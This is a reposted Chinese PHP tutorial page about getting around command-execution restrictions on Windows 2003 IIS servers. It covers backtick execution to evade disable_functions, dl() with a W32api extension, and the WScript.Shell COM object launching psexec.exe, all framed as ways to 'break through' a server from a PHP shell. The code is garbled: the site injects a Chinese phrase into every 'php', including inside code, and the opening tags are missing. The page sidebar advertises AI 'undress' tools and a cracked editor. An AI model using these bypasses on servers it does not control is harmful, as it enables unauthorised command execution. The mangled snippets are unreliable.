search
HomeBackend DevelopmentPHP TutorialNew ideas to break through Windows 2003 PHP server_PHP tutorial

  从WIN2000到WIN XP, 再到WIN2003, MS iis(微软的WEB服务器平台)服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的php(做为现在的主流开发语言) SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使iis(微软的WEB服务器平台) 和php(做为现在的主流开发语言)都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。 
 
  1、disable_functions的突破

  在php(做为现在的主流开发语言) -4.0.1以上的版本,php(做为现在的主流开发语言).ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php(做为现在的主流开发语言).ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php(做为现在的主流开发语言)采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

  $output = `ls -al`;echo "

$output
";?>

  据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

  2、dl()函数的应用

  当任何php(做为现在的主流开发语言)的内部命令执行数和都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自php(做为现在的主流开发语言) 5.1.0以下版本起不再被绑定。以下是手册里的例子:

  // 加载此扩展

  dl("php(做为现在的主流开发语言)_w32api.dll");

  // 注册 GetTickCount 函数,来自 kernel32.dll

  w32api_register_function("kernel32.dll",

  "GetTickCount",

  "long");

  // 注册 MessageBoxA 函数,来自 User32.dll

  w32api_register_function("User32.dll",

  "MessageBoxA",

  "long");

  // 取得开机时间信息

  $ticks = GetTickCount();

  // 转换为易于理解的文本

  $secs = floor($ticks / 1000);

  $mins = floor($secs / 60);

  $hours = floor($mins / 60);

  $str = sprintf("You have been using your computer for:".

  " %d Milliseconds, or %d Seconds".

  "or %d mins or %d hours %d mins.",

  $ticks,

  $secs,

  $mins,

  $hours,

  $mins - ($hours*60));

  // 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本

  MessageBoxA(NULL,

  $str,

  "Uptime Information",

  MB_OK);

  ?>

  可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

  3、COM 和 .Net(Windows)函数的应用

  COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。

  php(做为现在的主流开发语言) 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在php(做为现在的主流开发语言)中调用“WScript.Shell”执行系统命令:

  $cmd=” E:/cert/admin/psexec.exe”;

  if($com=new COM("WScript.Shell")) echo "yes";

  if(!$cmd1=$com->exec($cmd))

  {

  echo "can not exec()";

  }

  if(!$cmd2=$cmd1->stdout())

  {

  echo "can not stdout()";

  }

  if(!$cmd3=$cmd2->readall())

  {

  echo "can not readall()";

  }

echo $cmd3;

?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508617.htmlTechArticleFrom WIN2000 to WIN XP, and then to WIN2003, MS iis (Microsoft's WEB server platform) server security improvement is obvious. In WIN2000, an ordinary php (as the current mainstream...
Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
c盘的users是什么文件夹?可以删除吗?c盘的users是什么文件夹?可以删除吗?Nov 10, 2022 pm 06:20 PM

c盘的users是用户文件夹,主要存放用户的各项配置文件。users文件夹是windows系统的重要文件夹,不能随意删除;它保存了很多用户信息,一旦删除会造成数据丢失,严重的话会导致系统无法启动。

启动任务管理器的三个快捷键是什么启动任务管理器的三个快捷键是什么Sep 21, 2022 pm 02:47 PM

启动任务管理器的三个快捷键是:1、“Ctrl+Shift+Esc”,可直接打开任务管理器;2、“Ctrl+Alt+Delete”,会进入“安全选项”的锁定界面,选择“任务管理器”,即可以打开任务管理器;3、“Win+R”,会打开“运行”窗口,输入“taskmgr”命令,点击“确定”即可调出任务管理器。

微软的pin码是什么微软的pin码是什么Oct 14, 2022 pm 03:16 PM

PIN码是Windows系统为了方便用户本地登录而独立于window账户密码的快捷登录密码,是Windows系统新添加的一套本地密码策略;在用户登陆了Microsoft账户后就可以设置PIN来代替账户密码,不仅提高安全性,而且也可以让很多和账户相关的操作变得更加方便。PIN码只能通过本机登录,无法远程使用,所以不用担心PIN码被盗。

win10自带的onenote是啥版本win10自带的onenote是啥版本Sep 09, 2022 am 10:56 AM

win10自带的onenote是UWP版本;onenote是一套用于自由形式的信息获取以及多用户协作工具,而UWP版本是“Universal Windows Platform”的简称,表示windows通用应用平台,不是为特定的终端设计的,而是针对使用windows系统的各种平台。

win10为什么没有“扫雷”游戏了win10为什么没有“扫雷”游戏了Aug 17, 2022 pm 03:37 PM

因为win10系统是不自带扫雷游戏的,需要用户自行手动安装。安装步骤:1、点击打开“开始菜单”;2、在打开的菜单中,找到“Microsoft Store”应用商店,并点击进入;3、在应用商店主页的搜索框中,搜索“minesweeper”;4、在搜索结果中,点击选择需要下载的“扫雷”游戏;5、点击“获取”按钮,等待获取完毕后自动完成安装游戏即可。

在windows中鼠标指针呈四箭头时一般表示什么在windows中鼠标指针呈四箭头时一般表示什么Dec 17, 2020 am 11:39 AM

在windows中鼠标指针呈四箭头时一般表示选中对象可以上、下、左、右移动。在Windows中鼠标指针首次用不同的指针来表示不同的状态,如系统忙、移动中、拖放中;在Windows中使用的鼠标指针文件还被称为“光标文件”或“动态光标文件”。

如何查看电脑系统是什么版本如何查看电脑系统是什么版本Jan 02, 2021 pm 03:54 PM

方法:1、在电脑桌面上,右击“计算机”,选择“属性”;2、在“系统”界面的“windows 版本”区域即可查看当前系统版本。2、使用“Win+R”快捷键,打开“运行”窗口,输入“winver”回车,在弹出的对话框中即可查看当前系统版本信息。

win10是哪年发布的win10是哪年发布的Aug 25, 2022 pm 03:44 PM

win10是2015年发布的。win10全称“Windows 10”,是微软公司研发的跨平台操作系统,应用于计算机和平板电脑等设备。2015年1月21日,微软在华盛顿发布新一代Windows系统-“Windows 10”;2015年3月18日,微软中国官网正式推出Windows 10中文介绍页面;2015年7月29日,Windows 10正式开发完成并发布正式版。

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Hot Tools

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function